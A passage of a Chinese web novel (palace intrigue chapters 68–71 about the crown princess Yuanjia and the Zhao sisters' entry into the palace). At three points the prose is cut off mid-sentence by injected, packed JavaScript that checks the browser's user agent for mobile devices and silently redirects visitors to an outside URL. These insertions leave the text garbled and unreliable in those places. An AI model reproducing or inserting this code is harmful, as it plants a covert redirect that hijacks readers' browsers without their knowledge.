燕景璇斜睨了人一眼,“你迟迟不动身,两位良娣也只能在此陪坐,若是饿坏了身子,算谁的过错?” 虽说燕景璇将话头引到了倪、刘二人身上,可两人也只是矜持一笑,并不多言。 倒是元嘉,听了这话便侧身看向燕景璇,又将人上下打量了好几眼,“原是我会错意了,还以为今日之事已毕,该打道回府了呢。” 这话说的含蓄,燕景璇却是一听就明的,“你知道了?” “福昌郡主多年夙愿得成,”元嘉眨了眨眼睛,“确实是喜鹊登 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元嘉又看了人一眼,叹了口气便要起身,却被燕景璇一把攥住手腕,皱眉道:“你还真要回去了?” “自然是去侧院用膳了。” 元嘉晃了晃自己正被紧抓不放的手腕,“皇姊是铁铸的,我却不是,我家的两位良娣也不是……总得先去把肚子填饱了,再来考虑其他吧。” 燕景璇一听,握住元嘉的力道不减反增,余下的那只手朝桌上一撑,也跟着站了起来,“那便一起去,午后陪我策猎去!” 又道:“二位良娣可会骑马?” 倪、刘二人点头,倪娉柔道:“只是技艺一般罢了。” “无妨,不过是图个热闹罢了,”燕景璇脸色略有好转,“到时将康敏县主与沅表妹也找来,咱们痛痛快快地跑上几圈!” 元嘉自然答应,下一刻便被燕景璇拉住胳臂往外走去。路过倪娉柔时,元嘉掩在袖下的指尖轻轻一勾,前者便会意起身,一面挽住刘婵,一面紧随元嘉的脚步,同往侧院而去。 这日剩下的时间,像是为了发泄心中的闷气般,燕景璇领着元嘉几人在别院附近的草场恣意驰骋,穆瑶筝甚至猎了一头獐子,直叫围观的人拍掌叫好。 直到月轮高悬,燕景璇才勉为其难地打道回府。元嘉几人更是在前者的一再劝说下,于西山别院暂歇了一宿,第二日才与之一道回城。 68. 何所思 元嘉回府时,广平侯长女被聘为端王妃一事已然传遍上京。 据说,是她们都还在西山别院的时候,便有人往广平侯府递消息了,第二日更是一早便让内官上门宣了旨意,已定下来年六月行礼完婚。这会儿已然将人接进了宫去,说是由皇后亲自教导规矩,等到第二年开春再回府备嫁。 “……这就进宫了?” 元嘉取下耳坠的动作一顿。 “是呢,前脚接了旨,后脚便收拾细软入宫去了。”红珠站在元嘉身后,动作轻柔地替元嘉卸下簪钗,“听说就住在清宁宫,以便随时听教于皇后殿下。” 元嘉隔着镜子瞧了人一眼,“今早才宣的旨,你们怎就这么清楚了?” “不是她们瞎打听,实在是广平侯自己藏不住事。”徐妈妈将煨得软烂的杏仁羹放至元嘉面前,又从拂冬手上接过熏蒸过的手巾子,递给元嘉净手,“昨日才得了消息,跟着就漏了风出去,今日内官上门宣旨时,更是府门大开,引了一众人在外头瞧热闹,这才为咱们所知。” 这还有什么不明白的……只怕是广平侯远沐皇恩已久,如今骤然获诏,又是双喜临门的大好事,如何能忍得住? 只是…… “赵大娘子奉旨入宫,那、二娘子呢?” 元嘉顿了顿,还是多问了一句,哪怕她已从燕景璇的口中知道了赵舒和的去处,可总是不死心,总还带着一丝侥幸。 “二娘子、二娘子……” 红珠支吾了几声,就是说不出句完整话来。 最后还是徐妈妈开的口:“二娘子福气更甚。今上闻二娘子‘容止美’,遂一并召入宫去了,如今已做了御前的奉茶女官。” 元嘉抿着嘴,心中有些沉重,勉强道:“是啊,是两位娘子有福气……广平侯府深受皇恩,福昌郡主只怕也是高兴的。” 谁知这话一出,反惹得长春馆里外寂静一片。 “……怎么?” 元嘉从她们的反应中嗅出了一丝异样,当即追问起来。 “福昌郡主病了。” 还是徐妈妈答的话,“说是白日里着了暑热,夜晚回去时又吹了凉风,刚回府便烧了起来。到今日接旨时,已然要靠侍女搀扶,两位娘子离府时,更是连面都没露……” 元嘉拧眉不语,将碗搁回桌面,想了想方道:“红玉,咱们府上可留有从前给诸王公府送礼的礼单?” “回女君,有的。” “那便照着礼单上的数,再拟一份新的,送去端王府,”元嘉顿了顿,“贺端王得了这样好的一份姻缘。” 红玉躬身应下,正欲离开,元嘉却又将人唤了回来。 “再备一份薄礼,送去广平侯府,贺两位娘子、贺她们……” 元嘉神色有些犹豫,一张嘴开了又合,却迟迟没能吐出一个字,良久轻叹一声,只道:“罢了,就送去侯府,只说是太子府的贺礼,旁的无须多言。” 红玉点头称是。 元嘉又道:“咱们府里,可有山参之类的补物?” 红玉想了想,方道:“有的,年节时宫里赐下了好些补物,其中就有安东进贡的山参,都收在库房呢,说用来补身是极好的。” “那便再取些山参一并送去,”元嘉吩咐道,“福昌郡主着了病,还得好生休养才是。” 红玉答应了一句,见元嘉再没有其他的吩咐,这才转身离开。 屋内又恢复了安静。 元嘉看了眼桌上已不再散发热气的杏仁羹,像是倦烦般收回了视线,“收下去吧,本就是用了早膳才回来的,这会子功夫,还吃得下什么。” 说罢便站直身子,行至窗棂处,只望着廊下落了一地的西香发呆。徐妈妈看出元嘉大抵想一个人待会儿的,便也不再多言,只轻手轻脚地收拾妥当,又领着所有人悄然退了出去, 而众人口中的福昌郡主,此刻也确实称不上好。送走宣旨的内官后,便病恹恹地倚在软榻之上,乌发微散,头覆抹额,唇无朱色,面透苍白,双眸微阖作休息状,一双细眉却皱得死紧。身边人却都是一脸的喜色,赵侯爷更是高兴得在一旁来回踱步, 唯有李姨娘,虽还有些瑟缩,可还是扶着肚子,小心翼翼地捧着煎好的汤药,侧身凑近福昌郡主跟前问候。 “……郡主,”李姨娘小声唤道,“郡主不若饮了汤药再歇息?” 福昌郡主勉强睁开眼,见是李姨娘在说话,一开始还面露冷意,可又见她小腹微凸,十足弱不禁风的样子,虽还有郁色,却还是接过汤碗,拧着眉将药一饮而尽。 缓了缓,见赵侯爷仍旧一脸的喜不自胜,福昌郡主憋了一口气,道:“侯爷……” 赵侯爷却没有回头,像是根本没听见福昌郡主的呼唤一般。 “侯、侯爷,郡主娘娘──” 李姨娘也帮着唤了两声,却比福昌郡主还要小声许多。 “侯爷!” 福昌郡主却没有这样好的耐心,见男人没有反应,直接扬了声调,只克制着不叫人发觉自己的焦躁。 赵侯爷这才顿住脚步,满脸兴奋地坐在福昌郡主身边,又握住前者因害病而显得有些无力的手,柔声道:“我的郡主娘娘哟,你真是替我养了两个好女儿啊,如今光耀我赵氏门楣,为夫真不知该如何谢你才好!” 福昌郡主试图抽出手,可实在是没有力气,几次无果后便也放弃了,只面无表情地看着赵侯爷道:“侯爷为了两个女儿高兴,可也别忘了正事,明日还要进宫向陛下、皇后殿下谢恩呢。” 赵侯爷这才收敛了几分,可眉宇间仍带着几分得色,“夫人说的是,是为夫失仪了,是为夫失仪了。” 福昌郡主皱着眉移开视线,见李姨娘尚在一旁候着,抿了抿嘴,道:“侯爷不若先回去,我这里还病着呢,若将病气过给了侯爷可怎么是好?” 见赵侯爷一脸的柔情难舍,福昌郡主强压下心中的恶心,又道:“拖着病体接旨已是对皇恩的大不敬,又如何能再让侯爷与我一样,满面病容地进宫谢恩呢……李姨娘也还怀着身子呢,侯爷好歹顾惜些孩子,先将李姨娘送回漪澜阁吧。” “奴婢、妾……” 一听福昌郡主提起自己,李姨娘顿时惊惶起来,本想说自己无事,可刚开了个头,余下的话便在福昌郡主平静无波的眼神中咽下了。 “侯爷——” 福昌郡主竭力让自己的声音听起来温柔些,可她实在是太久没对赵侯爷这样温言细语过了。 好在赵侯爷也不是真想一直守在菡兰院,只又与福昌郡主说了会儿话,便揽过李姨娘的腰肢离开了。前者只来得及向福昌郡主一屈膝,便被赵侯爷的力道带走,整个人跌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵颐捡起球抱在怀里,一双黑黢黢的眼睛眨也不眨地看着福昌郡主,“母亲,我想让阿姊陪我一块儿玩,母亲允了我,今晚让阿姊与我睡一屋罢。” 伺候赵颐的人都一脸焦急地站在屋外,却无论如何也不敢入内,只有奶母小声唤道:“郎君、郎君,二娘子还在和郡主说话呢,咱们先回屋去,好不好?” 赵颐却皱着眉头不肯听,见福昌郡主迟迟没有开口,又几步蹲在赵舒和跟前,攥着前者的袖角耳语道:“阿姊,和我一起回屋吧,不和母亲说话了,好不好?” 赵颐眨巴着眼睛,大大的瞳仁里满是乞求。 赵舒和一直平静的面庞终是有了裂缝。赵颐哪里是想寻个玩伴回屋,分明是听见了屋里的动静,不放心之下,刻意寻了由头过来的。 赵舒和抬手抚上赵颐的面颊,眼中闪过一丝豫色,可随即又坚定起来,只柔声道:“好阿颐,你先回屋和奶母们玩,阿姊和母亲说完话就过来,今夜一定陪阿颐睡,好不好?” 话虽如此,赵颐却还是坚持着不肯放手,甚至竭力想将赵舒和从地上拉起来。 赵舒和微微使力,便将赵颐摁在原地,“阿颐听话,阿姊一会便去找你。” 见前者仍一脸犹豫地不肯放手,又道:“阿姊何时骗过你?” 一番僵持之下,终是赵颐先败下阵来,“那我回去等阿姊,若阿姊不来,我是一定不睡的!” 见赵舒和笑着点了头,赵颐这才不情不愿地松手,转身朝福昌郡主行礼告退,却又在即将跨出门槛的那一刻,大着胆子道:“母亲,我、我今日是一定要等到阿姊的!” 说完,便像阵风似的跑了出去。 伺候赵颐的人也只来得及匆匆一行礼,便又追着赵颐而去了。 69. 何所意 除了一开始问赵颐的那句话,福昌郡主由始至终都没有再开过口,如今人走了,也只是沉默地望着赵舒和。 母女俩相顾无言,终是福昌郡主先软了神色,“我并非不让你争,可你哪怕是去争端王妃,也好过入宫在御前伺候啊!” 像是被福昌郡主话里的殷忧刺痛了一般,赵舒和佝偻着身子撇过头去,低声道:“您自己也说了,端王是个扶不起来的,更何况他比父亲还要风流……父亲再怎么薄情,至少也不会短缺子女一分,可您看先端王妃,拼了命才生下的孩子,若不是靠贤妃看顾,只怕早被端王抛诸脑后去了。” “那也还有太子!” 福昌郡主恨恨道。 “母亲,”赵舒和神色黯淡,“难道太子登位后就一定会选女儿入宫吗?” 福昌郡主憋了一股气,此刻竟也不管不顾起来,“你是郡主的女儿,是先太后的侄孙女,更是广平侯府正经嫡出的娘子,何等尊贵身份,如何会入不了!” “可这上京城里,从来都不缺好出身的女郎。” 赵舒和的声音中带着一丝疲意。 “你与她们如何一样!”福昌郡主高声道,“你自幼研读诗赋,又精于琴画棋艺,放眼上京,哪家女郎有你出挑!” “所以,”赵舒和勉强勾起嘴角,看向福昌郡主的眼里满是不解,“女儿已是如此出挑,可为何皇后在赏菊宴上看中的,是季家的那位而不是我呢?” “那、那是她们,”福昌郡主怒气填胸,一时冲昏了头脑,竟脱口道,“可你也不必与陛下──” 下一刻便猛地截断话头,本就苍白的脸上更是毫无血色。 她怎么敢……这是离宫太久了,如今也敢议论起天家来了。福昌郡主双唇微微颤动,一下子失了说话的劲头,一直挺立的背脊在这一刻终于支撑不住般弯曲下来,带着再遮掩不住的无力与疲累。 赵舒和似乎也没了力气,两手撑着地面,一点一点将自己挪至福昌郡主身前,又僵硬地伏在前者的膝上,阖眸轻唤道:“母亲……” 下一刻,她便感觉到面上一凉,似有水珠从脸颊划落──那是福昌郡主的眼泪吗?赵舒和怔了怔,本能地想要抬头,却被福昌郡主更快一步地盖住了双眼。 “舒儿,”福昌郡主惘然道,“娘似乎错了,分明是我自己、舍不得皇家的尊贵,为何要逼着你去替娘去争呢……” “母亲……” 赵舒和想要说话,却被福昌郡主又一次打断,“船烂还有三千钉,若不是我一心念着皇室,便是广平侯府如今落寞了,寻一个家世相当的儿郎又有何难?” “母亲,我说过的,我不愿意做一个高低不就的新嫁娘,”赵舒和将自己的手覆在福昌郡主的手之上,露出来的半张脸平静无波,“只要父亲还在,我最好的出路也不过是和一个与咱们一般境地的家族结亲。母亲,您还不清楚父亲的本性吗,若真由父亲做主我的婚事,他也只会找一个会讨好他,或者能拿我去讨好的女婿罢了……父亲也好,这座侯府也罢,都成不了我的后盾。” “你有我,还有颐儿呢!”福昌郡主咬着牙道,“他是世子,是下一任的广平侯,他会是你最坚实的后盾!” “……母亲,我等不起了。” 赵舒和竭力睁大双眼,试图从指缝间漏下的些许残光中汲取到一丝半点的光亮,可直到两眼酸胀,寻到的也不过一片雾蒙蒙的灰暗。 福昌郡主的手微微有些颤抖,“娘不是说……有什么不好的,可、可那位比你父亲还大上几岁呢!如今又是那副情景,你还年轻,娘实在是害怕,若来日你为比丘尼……” “……那也是女儿自己选的,女儿绝不后悔。” 赵舒和反手握住福昌郡主覆于眼上的手,微微一使力,便将其带至自己胸前。被水色侵染过的眸子重新睁开,哪怕在昏黄的烛光下,也遮掩不住其中的光彩。 “宫里头,已好几年未有皇子公主降世了……” 福昌郡主并未因赵舒和的话而有所放松,反倒更添愁色。 至于赵舒和,听到这话有些不自然地垂下眼睛,可仍是咬牙道:“母亲,天子如今还在,女儿未必就没有机会。便是不尽如人意,好歹也争过、搏过,来日纵为比丘尼,女儿亦甘之如饴!” 一句话说得掷地有声,却不知是说给福昌郡主听,还是说给自己听。 福昌郡主的脸因痛苦而显出几分扭曲,本已平静下来的心又开始隐隐作痛起来。 “母亲,”赵舒和抬起身子,露出一抹宽心的笑,“母亲莫要再难过了。女儿明日便要入宫,他朝再想相见,怕也是难了,时间已然不多,您就让女儿再多陪陪您吧!” 福昌郡主的眼眶有些泛红,抬手抚过赵舒和发顶,动作既轻且慢,一双眸子像是要把人牢牢刻在心底般倔强着不肯眨动,好一会儿才道:“娘是命妇,逢年节便可进宫参拜,有的是机会看你一眼,哪里需要你陪……颐儿还在屋子里等着你呢,去陪他吧。” 说话间已恢复了一贯的冷静。 赵舒和顺从点头,起身站在空旷的厅堂中间,两手平举至齐眉处,认认真真地朝福昌郡主行了一个大礼,抖着声音道:“母亲,女儿这就去了。” 福昌郡主好似累了般不再说话,只摆着手让赵舒和离开。前者带着犹豫起身,又站在原地沉默了几瞬,终于脚步一转,仿佛要将心底的彷徨甩在身后一般,再不迟疑地跨门而去。 福昌郡主如同僵直的木偶般,动也不动地望着赵舒和远去的背影,直到前者彻底消失在拐角的地方,才终似卸了力气般瘫倒下去。 菡兰院内一片死寂,伺候的人早被福昌郡主打发了去。此刻离了正屋,更是冷清一片,隐隐只闻蝉鸣鸟啼之声。 赵舒和深一步浅一步地朝赵颐住处走去,长长的甬路阒然无声。此时未及满月,悬于穹苍的弯月似一轮玉钩,欲坠未坠,只将满身清辉洒向人间。赵舒和顿住脚步,影子被映射下来的蟾光拖得颀长。她抬头望向天穹,心下是一片茫然。哪有什么争搏,连她自己都不知道因何得了皇帝的青睐……她甚至、连皇帝的面都没见过。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303539|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵舒和惶惶回头,却已望不到福昌郡主的屋院,直到寻见拐角处的一点微光,才松开眉心,面露释怀之色。 这样也好……福昌郡主永远也不会知道,她的女儿原也是被迫入宫。 赵舒和怔怔了好一会儿,眼中的恍惚才总算散去。而后长吁了一口气,终于将思绪彻底收敛,步履轻快地朝赵颐住处走去。 而此刻,沐浴在同一片月光下夜不能寐的,还有赵妍和。 她与赵舒和前脚回府,后脚便得知宫中来人一事,立时惊得愣在原地。直到回了漪澜阁,仍是浑浑沌沌,一片恍惚。 这端王妃的位子,怎么就落到她的头上了呢? 赵妍和想不明白。 “大娘子……” 一道微弱的女声自背后传来,尤带三分小心翼翼。 赵妍和闻声回头,见李姨娘在槛外站着,虽还有些怯惧,可眉宇间仍透出几丝喜色。 “姨娘怎么不进来?” 赵妍和坐直身子,习惯性的露出一抹浅笑。 李姨娘显出几分忸怩,十指交缠在一起摩挲了好几下,方才道:“听说大娘子得了桩好姻缘,我、我就想着过来道一声贺,说完就走,就、就不进来了。” 赵妍和眼中闪过一丝伤感,却依然含笑道:“姨娘觉得这门婚事好吗?” 李姨娘一时怔愣,两颊也微微有些泛红,只呢喃道:“那可是王爷,大娘子嫁过去,便是王妃娘娘了,是天家的儿媳,当然好了!” 李姨娘许多年没出过侯府了,自然不知道发生在端王身上的腌臜事,也自然……觉得赵妍和结了门极好的亲事。 “郡主娘娘定然费了许多心思,这才能为大娘子定下如此好的一门亲事……” 李姨娘絮絮叨叨地说个不停,赵妍和也一反常态地静静听着,一双眼睛像是看不够般盯着李姨娘不肯挪开。 “……娘,你高兴吗?” 赵妍和兀然道。 “什么?” 李姨娘难得这样欢喜,虽早说着要走,可却倚着门柱絮叨个不停。赵妍和的声音太过微弱,一时竟被李姨娘的声音盖了过去,直等到前者停下话头才反应过来,却也只是下意识脱口的一声疑问。 “姨娘这段时日就不要去烦扰郡主娘娘了,”赵妍和像是什么也没发生般,又恢复了那副带笑模样,“二娘子也还有许多事情需要郡主娘娘操心呢。” 李姨娘习惯性地听从女儿的话,嘴里喃喃道:“是了是了,二娘子也是有大福气的,往后便是住在皇宫的贵人了。” 又见赵妍和浑身透着疲累,面露赧然道:“那、那我便回去了,大娘子早些歇息吧。” “姨娘也早些歇息,如今都是怀着身子的人了,可得仔细着些。” 赵妍和说罢,便想起身相送,却见李姨娘急急后退两步,不等赵妍和动作就转身离去,动作大得险些撞上门扇。 赵妍和只得停下,站在屋内目视着李姨娘离开,半晌叹了口气,又坐回原先的位置,怔怔瞧着月光一动不动。 70. 它缘法 赵氏姊妹双入宫闱一事,成为近来上京城内茶余饭后的闲谈,有艳羡者,亦有鄙夷者,可不管是哪种心思,等到广平侯面前却只余贺声一片。 福昌郡主沉寂了几日,再出现在人前时,又恢复了一贯的倨傲模样,只听说比以前更清瘦了。 大抵是长日无聊,这些闲话连有意不出太子府的元嘉也听了许多,哪怕两个女郎第二日便进了皇宫,议论声也依旧不见停止。 只是连她也不曾料到,自己竟这样快地又见到了赵舒和──在娄皇后的清宁宫内。 那日,元嘉照例入宫拜见,却在娄皇后身边看到了一个意想不到的人──本该在御前服侍的赵舒和。 入宫后的赵舒和,一身打扮与在宫外时截然不同。长及腰际的乌发被规矩盘在脑后,没有插戴贵重的首饰,只簪了朵素花,另别了几支银簪固发,连身上所着襦裙,也是素雅恬谧的月白。 分明是明艳至极的长相,却硬生生被这身装扮遮盖了颜色,只余下三分清丽。 只是……赵舒和是奉诏入宫为奉茶女官的,如何会在娄皇后的清宁宫内? 元嘉不免有些惊讶。 娄皇后倒似没瞧见般,只噙了抹笑道:“太子妃当是见过的,便是福昌郡主的女儿,唤作舒和的。” 随着娄皇后的话,赵舒和行至元嘉跟前,敛目向元嘉行礼,又朝倪、刘二人问安,一副柔静寡言的模样。 元嘉神色不动,却在赵舒和即将俯身的时候,抬手将人拦住,只朝着娄皇后笑道:“赵娘子在上京女郎中亦是佼佼者,儿臣自是见过几回的。” 赵舒和被阻拦了动作,仍是不言不语,见元嘉与娄皇后说话,便又默默退回娄皇后身侧。 “如此便再好不过了,”娄皇后眼中笑意愈深,“赵娘子来日长居宫闱,你既与她相识,往后也可常入宫与赵娘子说话。” 元嘉自是颔首应下。 娄皇后又与几人闲话二三,直到兰佩从殿外走了进来,才停下话头。 “女君,”兰佩略一屈膝,“田夫人来送东西了,说是贤妃娘娘给太子妃的回礼。” “这是记着你今日进宫,特意送过来的呢,”娄皇后虚指了一下元嘉,笑盈盈道,“将东西给太子妃吧。” 元嘉又是起身谢过,面上却无半分讶异。她并未往贤妃宫中送过东西,这礼,想是替端王回的。 “田夫人还说,贤妃娘娘前些日子酿的杏花醉已然可饮了,”兰佩又道,“等您哪日得空,便带来清宁宫与您一道品酌。” “这时节饮杏花醉最是相宜,贤妃只怕是看予近日事务冗杂,故意说来惹予的。” 娄皇后朝左右笑道。 见元嘉一副垂目倾听的模样,忽然开口道:“太子妃,不若你替予往淑景殿一趟,予这里正好还有去岁剩下的梨花白,就拿这梨花白去换她的杏花醉吧。” 元嘉猝不及防,却只能起身答应。 “予让兰佩与你同去,想来田夫人也还在殿外候着,你们便一道过去。” 娄皇后依旧一副笑面,又似突然间想起了什么一般,转而看向赵舒和,“你姊姊如今在贤妃宫中受教,赵娘子,你不若也一道去,和自家姊妹说说话再回来。往后事多,或许就少有这样的机会了。” 闻言,赵舒和身形微顿,旋即又如无事般轻声应下。 娄皇后这才满意地一点头,又朝元嘉道:“这就去吧,予同两位良娣再说会儿话,等你们回来。” 元嘉不想娄皇后如此着急,面上难得露出几分怔忡。这一切,自然也被前者尽数收入眼底,淡淡一笑道“往后你与贤妃熟悉了,便知她是个最爱风雅事的女子,连吃酒都是有讲究的。春日做桃花仙,夏日酿荷花蕊,秋日埋杏花醉,冬日便制梅花雪。做多做少也只凭那日兴致,便是陛下去讨要,没了就是没了。她今日邀予,予不得空,若不叫你带些回来,只怕今岁的杏花醉便喝不上了。” 元嘉一直以为许贤妃是个温柔娴静的女子,又因端王的缘故受累许多,却不想是这样一位闲情逸趣的潇洒人,当即告罪一声,又退到了殿外。 兰佩与赵舒和落后一步,各自行礼后也跟着退了出去。 殿外,田夫人正独坐廊下,面色柔和地与几个小宫娥说笑,见有人出来了才停下话头,轻抚着衣襟站起身来。 因不知元嘉是谁,便只朝着人微微屈膝,算是行礼。元嘉不曾见过这位田夫人,亦不知其在宫中是何品阶,便也只颔首受礼,旁的话一概不说。 倒是兰佩态度熟稔地上前,与田夫人解释几句,前者方才了然。 “赵娘子是去过淑景殿的,便烦劳赵娘子替太子妃引路,奴婢与田夫人随在后头。” 兰佩这般说道。 赵舒和垂目答应了一句,便默不作声地引着元嘉往另一个方向走去。不知是否是元嘉的错觉,兰佩与田夫人虽在后头跟着,却似乎在有意无意地拉大与元嘉二人的距离,而元嘉虽与赵舒和左右并行,彼此间亦是目不旁视,两相无言。 “……那位田夫人,是先头那位端王妃的奶母,”赵舒和蓦地出声,“后来先端王妃辞世,她便跟随贤妃一同在淑景殿照顾小郎君。虽无品阶,可却得贤妃看重,又叫皇后赞过几回,是以宫里都称一句‘田夫人’。” 元嘉微愣,随即道:“多谢你为我解惑。” “你给我娘送补物的事情,我从别人那里听说了,”赵舒和抿着嘴,“便算是谢你了。” 因着柳安沅,元嘉甚少与赵舒和有过接触,但也知道她不是个惯于道谢的性子。若非为着福昌郡主,只怕也不会对她这般和颜悦色。但既然已经打开了话匣,后面便也好说话了。 “赵娘子可还习惯宫里的生活?” 元嘉目视着前方,轻声道。 “……这些日子,任谁见了我,都是先道一声恭喜,再明里暗里让我小心服侍贵人。你倒是个奇人,见了面却只问我过得惯不惯?” 一句话说的有些阴阳怪气。 “若赵娘子想要这一声恭喜,我补上便是,”元嘉淡淡一笑,并不因赵舒和的语气而不快,“只是刚才乍见赵娘子一身素服,还以为赵娘子怡情养性了。如今见赵娘子脾气依旧,想来是能够过得惯的。” 赵舒和有些不自然地扯了扯自己的袖口,好一会儿才道:“三日后便不是这打扮了。” 元嘉讶然抬眸,却见赵舒和朝自己露了抹与从前别无二致的笑容,“我已被册为五品才人,三日后便行册封礼,往后就住在承欢殿了。” 承欢殿? 元嘉细想了一下,随即了然,“承欢殿离光顺门不远,福昌郡主想见你一面也容易许多。” “……为何会这样说?” 赵舒和微愣。 “福昌郡主为外命妇,入宫觐见皇后须得在命妇院等候,”元嘉轻声道,“而命妇院,就在光顺门外。” 赵舒和不说话了。 元嘉看着赵舒和强自克制的模样叹了口气,余光又朝兰佩与田夫人瞥了好几眼,见她们仍旧远远地跟在后头,这才有些犹豫地开口,“或许是我的个人之解,今上如今当是颇爱重你的。” “爱重?” 赵舒和轻笑一声,“便算是你在宽慰我吧。” 元嘉亦是垂目一笑。是啊,她怎么会说出‘爱重’这个词,真是日子过舒坦了,便连脑子也糊涂了……不过,也罢了。 “宫中主位,四妃空其二,九嫔空其四,不论如何,我还是希望赵娘子能够得偿所愿的。” 元嘉微微偏头,一句话说得又轻又缓。 空气中隐隐浮动着燥热的气息,不时响起的雀鸟叫声更是令人心烦,可赵舒和的心却奇异地平静下来。 “那是自然,”赵舒和眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313745|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微展,连说话声也变得有温度起来,“只是我本以为,你会劝我先有个孩子……” 元嘉浅浅摇头,“赵娘子便是如天之福,眼下有了孩子也只能抱养在其他主位娘子膝下。若有母凭子贵一说,四公主的生母也不会到现在还屈居宝林之位了。” “是啊……” 赵舒和扯了扯嘴角,长长吐出一口浊气。她见过那位秦宝林,明明生了位公主,却依旧只能住在临照殿侧殿,孩子更是自出生起便送到了含凉殿,由孙修容抚育。 孙修容已然很好了,秦宝林每每过来请安,总会让四公主出来相见,甚至为全母女情谊,还会在二人说话时有意避让。可饶是如此,四公主也只与孙修容亲近,哪怕知道有秦宝林这样一位生母,但若没有孙修容开口,是决计不会踏进临照殿一步的。 秦宝林已算是宫里的老人了,如今的位份却连刚入宫的自己也比不上,更遑论为公主生母,却仍受生离之苦了。 她,不想成为第二个秦宝林…… 元嘉久久未听到赵舒和的声音,少不得侧头瞧了人一眼,见赵舒和面色沉郁,忍不住又叹了口气。 “不过么……宫里的女人若能有个孩子,也是件天大的好事。”元嘉说得慢声细语,带着不算明显的劝慰,“秦宝林有四公主,便有了一辈子的倚仗,不必再忧心来日为比丘尼,终老佛寺,也算是件幸事吧。” 像是被元嘉的话惊扰了一般,赵舒和的身躯微颤,而后长吐了口气,再看向元嘉时,已无郁悒之色,“各人有各人的缘法,晋位也好,生子也罢,我不信我寻不到一条出路!” 元嘉唇间笑意渐大,“那我就祝赵娘子顺心遂意,终得圆满。” “那是自然!” 赵舒和昂然相视,又是元嘉熟悉的骄矜模样。 这便足够了。 元嘉不再开口,只无声与赵舒和并肩前行。她本就与前者无甚交情,话说到这份上,已是越界,但……元嘉悄然望去,视线中只看得清赵舒和的小半张脸,可即便如此,也是极美的。 但就是这样一个在赏菊宴上华冠丽服,恣意与柳安沅别嘴的女郎,如今却素衣裹身,如履如临地跟在娄皇后身边侍奉……她或许是自作多情,生了几分不该有的心思,又或是感同身受,看着赵舒和就像看到了曾经的自己,所以不免触动。 元嘉默默收回视线,只盯着脚下踩的碎石子路。那是宫中巧匠用花砖、瓦片、各色石子精心铺就的路面,虽只供人踩踏之用,却还是细心雕琢了各路纹样,连铺排的图案也是选了又选的吉庆式样,一条路蜿蜒曲折向外,不知归往何处。 元嘉突然有些眩目,连带着脚下也错了步子,好在赵舒和发现及时,抬手扶了一把,才不至跌倒在地。 “你……” 赵舒和下意识开口,握着元嘉的手也不自觉用力。即便隔着布料,元嘉也能清晰感受到前者掌心透来的热意。 事发突然,远远走在后头的兰佩与田夫人自是没反应过来,等回过神后便急匆匆地上前,也打断了赵舒和未说完的话。 “太子妃无事吧!” 兰佩面露急切之色。 元嘉轻轻摇头,又直起身子,“本宫无事,只是不小心滑了一下罢了。” 赵舒和快速地抬了下眼睑,便无声无息地松开了手,退后两步又回到了那副沉默寡言的模样。 听得此话,兰佩便也不再多问,只垂目扫视了几眼地面,再抬头时又是熟悉的温蔼模样。 元嘉快速理了理衣裙,方笑道:“还是快些往淑景殿去吧。” 兰佩屈膝称是,却也不再像之前那般相距甚远,只和田夫人一起,随在了离两人几步之遥的身后。 赵舒和更沉默地站在距元嘉半步之远的地方。如此,元嘉再不好与前者说话,又有刚才的事发生,一行人就这样默然无声地往淑景殿去。 71. 叹荒唐 那之后的事情,就平淡了许多。 元嘉到淑景殿后,并未见到许贤妃的身影。只听守门的宫人说,许贤妃遣人去清宁宫后,便另带着人往御苑采剪花枝去了,至今未归。 好在留了人专程等候,就像是知道娄皇后会特意来这一趟似的,一早便备好了杏花醉,甚至连元嘉的份也一并留了。而等在淑景殿的人,正是广平侯府的大娘子,赵妍和。 元嘉见到赵妍和时,她正侧身坐在廊下,手里拿了卷书册,正与一垂髫小童说着话。两人身边或站或坐地围了好几个年轻嬷嬷,隐隐呈保护之态。 除了端王家的小郎君,元嘉实在想不到还有哪家的儿郎可以在淑景殿这般众星捧月。 见元嘉走近,赵妍和先低声与那锦袍小郎君说了两句话,又把人交到田夫人手里,这才神色自然地朝元嘉见礼。 与赵舒和一袭素雅相反,赵妍和却是衣着华丽──想是念着赵妍和尚未正式册封,人也还在宫内受教,一身打扮并未向王妃的品阶看齐,可也是红裙裹身、金钗簪头,已然与从前大不相同。 可元嘉与赵妍和的往来就更少了。此刻许贤妃不在,她便也无意多留,取了杏花醉便欲离开。而赵舒和,因受了娄皇后的吩咐,要她与赵妍和一叙姊妹情谊,此刻便只能站在前者身侧,又目送着元嘉与兰佩离开。 